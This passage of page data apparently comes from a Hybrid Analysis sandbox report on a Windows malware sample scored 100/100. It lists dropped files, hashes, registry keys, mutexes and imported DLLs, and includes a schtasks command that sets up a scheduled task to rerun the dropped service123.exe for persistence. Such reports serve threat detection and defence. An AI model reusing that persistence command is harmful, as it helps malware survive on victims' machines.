QMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":7868,"ppid":6488,"name":"service123.exe","command_line":"","sha256":"ffa381ab11d69d0a93cd56a5a485223444d41147f8ca326fc4ff8117c3c2897d","normalized_path":"%TEMP%\\service123.exe","parent_uid":"00000000-00006488","uid":"00000000-00007868"},{"pid":720,"ppid":6488,"name":"schtasks.exe","command_line":"/create /tn \"ServiceData4\" /tr \"%TEMP%\\/service123.exe\" /st 00:01 /du 9800:59 /sc once /ri 1 /f","sha256":"42661ab5aa20d0973113e10c53b988cab16e9f7ffe91c70ca69bb65d4eeb6fb8","normalized_path":"%WINDIR%\\SysWOW64\\schtasks.exe","parent_uid":"00000000-00006488","uid":"00000000-00000720"},{"pid":4624,"ppid":0,"name":"service123.exe","command_line":"","sha256":"ffa381ab11d69d0a93cd56a5a485223444d41147f8ca326fc4ff8117c3c2897d","normalized_path":"%TEMP%\\service123.exe","uid":"00000000-00004624","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="}],"all_imported_dlls":["msctf.dll","api-ms-win-crt-filesystem-l1-1-0.dll","cryptsp.dll","gdi32.dll","rpcrt4.dll","api-ms-win-crt-runtime-l1-1-0.dll","api-ms-win-core-synch-l1-2-0.dll","api-ms-win-crt-heap-l1-1-0.dll","mswsock.dll","kernel32.dll","usp10.dll","ws2_32.dll","ucrtbase.dll","api-ms-win-core-file-l2-1-0.dll","api-ms-win-crt-convert-l1-1-0.dll","api-ms-win-crt-math-l1-1-0.dll","api-ms-win-crt-utility-l1-1-0.dll","VxSSL32.dll","fltLib.dll","ole32.dll","webio.dll","WSHTCPIP.DLL","wship6.dll","IPHLPAPI.DLL","msvcrt.dll","shlwapi.dll","lpk.dll","nsi.dll","msvcp140.dll","api-ms-win-core-timezone-l1-1-0.dll","api-ms-win-crt-locale-l1-1-0.dll","sechost.dll","ntdll.dll","user32.dll","imm32.dll","api-ms-win-crt-time-l1-1-0.dll","api-ms-win-crt-environment-l1-1-0.dll","advapi32.dll","oleaut32.dll","winhttp.dll","vcruntime140.dll","api-ms-win-crt-string-l1-1-0.dll","api-ms-win-crt-stdio-l1-1-0.dll","credssp.dll","shell32.dll","api-ms-win-core-localization-l1-2-0.dll","api-ms-win-core-processthreads-l1-1-1.dll","sspicli.dll","wshqos.dll","dnsapi.dll","winnsi.dll","rasadhlp.dll","api-ms-win-core-file-l1-2-0.dll","KernelBase.dll","wow64cpu.dll","kernel.appcore.dll","FWPUCLNT.DLL","urlmon.dll","zJXvtzDSsJUKfItUnrgq.dll","msasn1.dll","SHCore.dll","win32u.dll","bcrypt.dll","apphelp.dll","cfgmgr32.dll","cryptbase.dll","msvcp_win.dll","GdiPlus.dll","bcryptprimitives.dll","MMDevAPI.dll","edputil.dll","Windows.StateRepositoryPS.dll","wow64.dll","windows.storage.dll","OnDemandConnRouteHelper.dll","aepic.dll","propsys.dll","iertutil.dll","imagehlp.dll","profapi.dll","clbcatq.dll","msIso.dll","wow64win.dll","PlayToDevice.dll","DevDispItemProvider.dll","gdi32full.dll","crypt32.dll","powrprof.dll","OneCoreUAPCommonProxyStub.dll","combase.dll","WindowsCodecs.dll","dlnashext.dll","uxtheme.dll","ntmarta.dll","wpdshext.dll","xmllite.dll","cldapi.dll","devobj.dll","taskschd.dll","dpapi.dll","rsaenh.dll"]},"file_activity":{"dropped_files":[],"extracted_files":[{"name":"DISMHOST.EXE.6A9E4442.bin","sha256":"ecb636b278261eade712e68ec7d805d20e802628248da872d3d0ada1432ffc11","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"name":"dism.log","sha256":"87cd590b99e800a092e6854cf745e0d8330364555f9982adeeab66e295afa446","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"name":"service123.exe","sha256":"ae827db306223d585fec6bb64b7e7249290ac78a1ce1ac8df388ff73245ba6ae","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"name":"zJXvtzDSsJUKfItUnrgq.dll","sha256":"6f2017644b4e3b4e651145b29899396aa26f0779b5b28382f42d21a59409aa2e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"name":"service123.exe.bin","sha256":"ffa381ab11d69d0a93cd56a5a485223444d41147f8ca326fc4ff8117c3c2897d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]}],"files_written":[{"path":"%TEMP%\\service123.exe","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"path":"%TEMP%\\zJXvtzDSsJUKfItUnrgq.dll","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\CONNECTIONS\\","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"Local\\SM0:6488:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"name":"SM0:6488:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"name":"Local\\SM0:6488:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"name":"jCPhwWRluXsmsRtnTIou","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]}]}},"report_ids":{"sandbox_job_ids":["6a9e03253889c1888a0a8f73","66f0be1411172c5b1d09c91e"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Win/malicious_confidence_100% Sample a8a451b18143… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample a8a451b18143…. Malware family: Win/malicious_confidence_100%. Threat score 100/100. 14/24 AV engines flagged this file. 12 malicious and 28 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610"}],["$","meta","4",{"property":"og:title","content":"Malicious Win/malicious_confidence_100% Sample a8a451b18143… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample a8a451b18143…. Malware family: Win/malicious_confidence_100%. Threat score 100/100. 14/24 AV engines flagged this file. 12 malicious and 28 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Win/malicious_confidence_100% Sample a8a451b18143… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample a8a451b18143…. Malware family: Win/malicious_confidence_100%. Threat score 100/100. 14/24 AV engines flagged this file. 12 malicious and 28 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L51","11",{}]]